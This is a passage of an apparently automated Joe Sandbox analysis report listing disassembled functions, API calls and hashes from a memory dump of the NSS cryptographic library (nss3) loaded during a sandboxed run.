Instruction ID: dbdc2f75d0006d714fed91c36f9e6b49d195dce709e8c7fd738e248209b879d4
Opcode Fuzzy Hash: 6e5bd01b204d2d11f5dcec9278f8393f2d2ad0a866b359e3363110952a686a09
Instruction Fuzzy Hash: B9416C32A00188ABDF058EA8CC84EEE77B5FF58318F554128FD18A7610D735EC55CB92

Function 6CAF0720 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6CAF175E,6CAF175E,?,?,6CAF2F23,6CAF175E,00000000,?,6CAF175E,00000000), ref: 6CAF0738

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

NSS_CMSSignedData_Destroy.NSS3(5304C483,6CAF175E,?,?,6CAF2F23,6CAF175E,00000000,?,6CAF175E,00000000), ref: 6CAF075C

Part of subcall function 6CAF3630: CERT_DestroyCertificate.NSS3(6CAF175E,?,6CAF175E,?,00000000,?,6CAF0761,5304C483,6CAF175E,?,?,6CAF2F23,6CAF175E,00000000,?,6CAF175E), ref: 6CAF3661
Part of subcall function 6CAF3630: CERT_DestroyCertificate.NSS3(6CAF175E,?,6CAF175E,?,00000000,?,6CAF0761,5304C483,6CAF175E,?,?,6CAF2F23,6CAF175E,00000000,?,6CAF175E), ref: 6CAF3681
Part of subcall function 6CAF3630: PORT_FreeArena_Util.NSS3(6CBDCA90,00000000,?,6CAF175E,?,00000000,?,6CAF0761,5304C483,6CAF175E,?,?,6CAF2F23,6CAF175E,00000000), ref: 6CAF36A5

PORT_ArenaUnmark_Util.NSS3(?,5304C483,6CAF175E,?,?,6CAF2F23,6CAF175E,00000000,?,6CAF175E,00000000), ref: 6CAF0794
free.MOZGLUE(850C478B,6CAF175E,00000000), ref: 6CAF07D0
PK11_FreeSymKey.NSS3(890473C1,6CAF175E,00000000), ref: 6CAF07E8

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: DestroyUtil$CertificateErrorFreeHashLookupTable$ArenaArena_ConstData_FindK11_SignedUnmark_free
String ID:
API String ID: 4228047643-0
Opcode ID: f0502cdc182502216b0b694e999820098af40cb307652facaec5592d8efc645a
Instruction ID: dd16453ab4729dde4489b9f70d6b449a2dc124ce3c998039263046cf84e7f008
Opcode Fuzzy Hash: f0502cdc182502216b0b694e999820098af40cb307652facaec5592d8efc645a
Instruction Fuzzy Hash: 2A31D7B7A01A859BE7118A259D04713B7B5BF4071CF298178F87987F00EB31F49A8BD2

Function 6CA9E400 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CA9E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CA9E44F

Part of subcall function 6CAA2C40: TlsGetValue.KERNEL32(6CAA3F23,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C62
Part of subcall function 6CAA2C40: EnterCriticalSection.KERNEL32(0000001C,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C76
Part of subcall function 6CAA2C40: PL_HashTableLookup.NSS3(00000000,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C86
Part of subcall function 6CAA2C40: PR_Unlock.NSS3(00000000,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CA9E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CA9E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CA9E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CA9E52F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 368c667056afa9e0894e8c751f6108ee01c376a0a34704ce12f631f5c3551b41
Instruction ID: 83e12047bf3afa9ca47e50db7921b1d1b14457560e15ca5839cb16b679c717d3
Opcode Fuzzy Hash: 368c667056afa9e0894e8c751f6108ee01c376a0a34704ce12f631f5c3551b41
Instruction Fuzzy Hash: 4A4118B4A14A15CFCB00EF78D58556ABBF0FF05304B094969D8859B712EB34E8D9CBE2

Function 6CA965D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6CA9660F

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

free.MOZGLUE(00000000), ref: 6CA96660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CA9667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6CA9669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6CA966B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA966C8

Part of subcall function 6CAC25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA9662E,?,?), ref: 6CAC2670
Part of subcall function 6CAC25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA9662E,?), ref: 6CAC2684
Part of subcall function 6CAC25D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAC26C2
Part of subcall function 6CAC25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6CAC26E0
Part of subcall function 6CAC25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAC26F4
Part of subcall function 6CAC25D0: PR_Unlock.NSS3(?), ref: 6CAC274D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: 5dfef9d374f25cd7539664747b751132be382db45ed5e9370e01fa1e5198ab7e
Instruction ID: 3ceead1fe34c411bdbecbe43c6c927bc2e81fe2a805257ee20a5b5f9f89eaadf
Opcode Fuzzy Hash: 5dfef9d374f25cd7539664747b751132be382db45ed5e9370e01fa1e5198ab7e
Instruction Fuzzy Hash: AB3163B5E012199BDB44CFA8D842AEE77F4AF49248F140028ED19EB700E731E944CBE1

Function 6CA92E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CA82D1A), ref: 6CA92E7E

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

PR_Now.NSS3 ref: 6CA92EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CA92EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CA82D1A), ref: 6CA92F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA82D1A), ref: 6CA92F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CA92F81

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: b5948b6763604d563705cd67021fa6c76e69c825bb969a8fa5534e184b59b1e4
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CE3134705211008BE714CE59CC8EFBE72E5EB80318F284779D02A87AD0EB3098DACA51

Function 6CA80E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CA80A2C), ref: 6CA80E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CA80A2C), ref: 6CA80E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CA80A2C), ref: 6CA80E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CA80A2C), ref: 6CA80E90
free.MOZGLUE(00000000), ref: 6CA80EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CA80A2C), ref: 6CA80ED9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 2debb23e61d74445b50c5fffdbc4521f0727c3c460012ff7fb30f210c66a8c2a
Instruction ID: 43da35fb6722e5ea0e32d8a8a9c7527ff0f563cc2ef8c53571079e0e047c3efe
Opcode Fuzzy Hash: 2debb23e61d74445b50c5fffdbc4521f0727c3c460012ff7fb30f210c66a8c2a
Instruction Fuzzy Hash: 5C214D72E036845FEB10496A9C85B6B76BFEFC1748F1D0035DC18A3A12FB60D8D882B1

Function 6CA8AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA8AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CA8AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA8AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CA8AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CBA9500), ref: 6CA8AF23

Part of subcall function 6CADF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CADF0C8
Part of subcall function 6CADF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CADF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA8AF37

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: ce9568092f6f7b8bc725a55d9bfd64d313383a8c977bb6f1206fdd40132e67ab
Instruction ID: be8bc3b5e2c9bd5faae78db3d4797bb0ece39667c4ce7a95a511c577dcc0eada
Opcode Fuzzy Hash: ce9568092f6f7b8bc725a55d9bfd64d313383a8c977bb6f1206fdd40132e67ab
Instruction Fuzzy Hash: C1213A7190A2006BE7108F189C41B9E77E5AF8572CF184318FC589B7C1E731DD8887A3

Function 6CB0EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0EE85
realloc.MOZGLUE(1DB66498,?), ref: 6CB0EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CB0EEC5

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

htonl.WSOCK32(?), ref: 6CB0EEE3
htonl.WSOCK32(00000000,?), ref: 6CB0EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CB0EF01

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: c9a13df60873eb9c3023fbf1c91a0fe6fb7f7d5d4fd4df22642bff7e5a64b620
Instruction ID: de0d68d7dda1b1379b390d4db4d780f030f34c5532e771025649351867499df2
Opcode Fuzzy Hash: c9a13df60873eb9c3023fbf1c91a0fe6fb7f7d5d4fd4df22642bff7e5a64b620
Instruction Fuzzy Hash: AD21D331A002A89FDF109F28DC8079EBBA4EF49358F148169ED599B651E730EC14CBE2

Function 6CAE2550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6CAE2576
PORT_Alloc_Util.NSS3(00000000), ref: 6CAE2585

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6CAE25A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6CAE25AF
free.MOZGLUE(00000000), ref: 6CAE25BB
free.MOZGLUE(00000000), ref: 6CAE25CA

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: bcce420919fbe52d76cb6348e92fdcafe0a8ade58b1fd51d8b42e2d7ae95ea94
Instruction ID: f7979b4c1905d212f04f2af38c2991d03ef435a35b1c21f584adcdbe1fbd78de
Opcode Fuzzy Hash: bcce420919fbe52d76cb6348e92fdcafe0a8ade58b1fd51d8b42e2d7ae95ea94
Instruction Fuzzy Hash: A70124B17052127BFF102A799D29E3B365CEB497A6B180230FD19C6681ED74EC80D6F1

Function 6CB986C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CB986DE

Part of subcall function 6CA70F00: PR_GetPageSize.NSS3(6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F1B
Part of subcall function 6CA70F00: PR_NewLogModule.NSS3(clock,6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F25

PR_Lock.NSS3 ref: 6CB98700

Part of subcall function 6CB49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA71A48), ref: 6CB49BB3
Part of subcall function 6CB49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA71A48), ref: 6CB49BC8

getprotobyname.WSOCK32(?), ref: 6CB98709
GetLastError.KERNEL32(?), ref: 6CB98717
PR_GetCurrentThread.NSS3(?,?), ref: 6CB9871F
PR_Unlock.NSS3(?,?), ref: 6CB9873A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: 9d3be993fae62e7d3cecd9186abb5a6d01bd806f536087c277f5cd6de648502e
Instruction ID: 55156ce3bc584b1786d20acae959564caefd23b30e44c52531bfae13559eacf1
Opcode Fuzzy Hash: 9d3be993fae62e7d3cecd9186abb5a6d01bd806f536087c277f5cd6de648502e
Instruction Fuzzy Hash: E5114472E145A09BCB409FB9AC0058E3669EF4A778F194376EC0997BA1C736CC04CBD6

Function 6CA6C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA6C4F0
free.MOZGLUE ref: 6CA6C51A
TlsSetValue.KERNEL32 ref: 6CA6C540
free.MOZGLUE ref: 6CA6C557
DeleteCriticalSection.KERNEL32 ref: 6CA6C56A
free.MOZGLUE ref: 6CA6C576

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: c15d12d40605b0959552c3bca86d5065e38b7acdb6703db18fa8f2a5e80f7158
Instruction ID: dc863934fd0f5709322a836a01501212d843803dfc66cbebbab1bccbe9b7206a
Opcode Fuzzy Hash: c15d12d40605b0959552c3bca86d5065e38b7acdb6703db18fa8f2a5e80f7158
Instruction Fuzzy Hash: 7C1130B4604B508BCB10BF7AC54855EBFF4FF45749F454A2DD8DA87A01EB34A098CB82

Function 6CA8E520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6CA97F5D,00000000,00000000,?,?,?,6CA980DD), ref: 6CA8E532

Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB490AB
Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB490C9
Part of subcall function 6CB49090: EnterCriticalSection.KERNEL32 ref: 6CB490E5
Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB49116
Part of subcall function 6CB49090: LeaveCriticalSection.KERNEL32 ref: 6CB4913F

PR_EnterMonitor.NSS3(6CA980DD), ref: 6CA8E549

Part of subcall function 6CB49090: LeaveCriticalSection.KERNEL32 ref: 6CB491AA
Part of subcall function 6CB49090: TlsGetValue.KERNEL32 ref: 6CB49212
Part of subcall function 6CB49090: _PR_MD_WAIT_CV.NSS3 ref: 6CB4926B

PR_ExitMonitor.NSS3 ref: 6CA8E56D
PL_HashTableDestroy.NSS3 ref: 6CA8E57B

Part of subcall function 6CA8E190: PR_EnterMonitor.NSS3(?,?,6CA8E175), ref: 6CA8E19C
Part of subcall function 6CA8E190: PR_EnterMonitor.NSS3(6CA8E175), ref: 6CA8E1AA
Part of subcall function 6CA8E190: PR_ExitMonitor.NSS3 ref: 6CA8E208
Part of subcall function 6CA8E190: PL_HashTableRemove.NSS3(?), ref: 6CA8E219
Part of subcall function 6CA8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA8E231
Part of subcall function 6CA8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA8E249
Part of subcall function 6CA8E190: PR_ExitMonitor.NSS3 ref: 6CA8E257

PR_ExitMonitor.NSS3(6CA980DD), ref: 6CA8E5B5
PR_DestroyMonitor.NSS3 ref: 6CA8E5C3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 3a7139a81ae2de486bfd54102419e12305c8a03f5a58ed45a2924480381ba824
Instruction ID: eca0a40e2fd752804b0ee3d53371bca49e045a5ad378a6be04cbcf25521bdb09
Opcode Fuzzy Hash: 3a7139a81ae2de486bfd54102419e12305c8a03f5a58ed45a2924480381ba824
Instruction Fuzzy Hash: 56015EB4E152D0CBEE805B64F9816553BF8B70AA8CF041136D40483651FF315D98FB82

Function 6CA6AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA6AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CA6AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA6AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CA6AF5C
misuse, xrefs: 6CA6AFCE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

